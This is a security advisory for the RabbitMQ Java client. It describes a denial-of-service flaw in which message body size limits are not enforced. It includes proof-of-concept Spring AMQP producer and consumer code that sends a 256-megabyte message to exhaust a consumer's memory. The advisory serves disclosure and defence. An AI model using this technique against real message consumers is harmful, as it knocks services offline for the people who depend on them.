GHSA-mm8h-8587-p46h

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

• Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)

• Start RabbitMQ

  Producer

• Build a String of length 256M and send it to Consumer

  
  package org.springframework.amqp.helloworld; 
  
  import org.springframework.amqp.core.AmqpTemplate; 
  import org.springframework.context.ApplicationContext; 
  import org.springframework.context.annotation.AnnotationConfigApplicationContext; 
  
  public class Producer {
      public static void main(String[] args) {
          ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
          AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
          String s = "A";
          for(int i=0;i<28;++i){
              s = s + s;
              System.out.println(i);
          }
          amqpTemplate.convertAndSend(s);
          System.out.println("Send Finish");
      }
   }
  

Consumer

• First set the heap memory size to 128M

• Read the message sent by the Producer from the MQ and print the length

  package org.springframework.amqp.helloworld;
  
  import org.springframework.amqp.core.AmqpTemplate;
  import org.springframework.amqp.core.Message;
  import org.springframework.context.ApplicationContext;
  import org.springframework.context.annotation.AnnotationConfigApplicationContext;
  
  public class Consumer {
  
      public static void main(String[] args) {
          ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
          AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
          Object o = amqpTemplate.receiveAndConvert();
          if(o != null){
              String s = o.toString();
              System.out.println("Received Length : " + s.length());
          }else{
              System.out.println("null");
          }
      }
  }
  

  Results

• Run the Producer first, then the Consumer

• Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.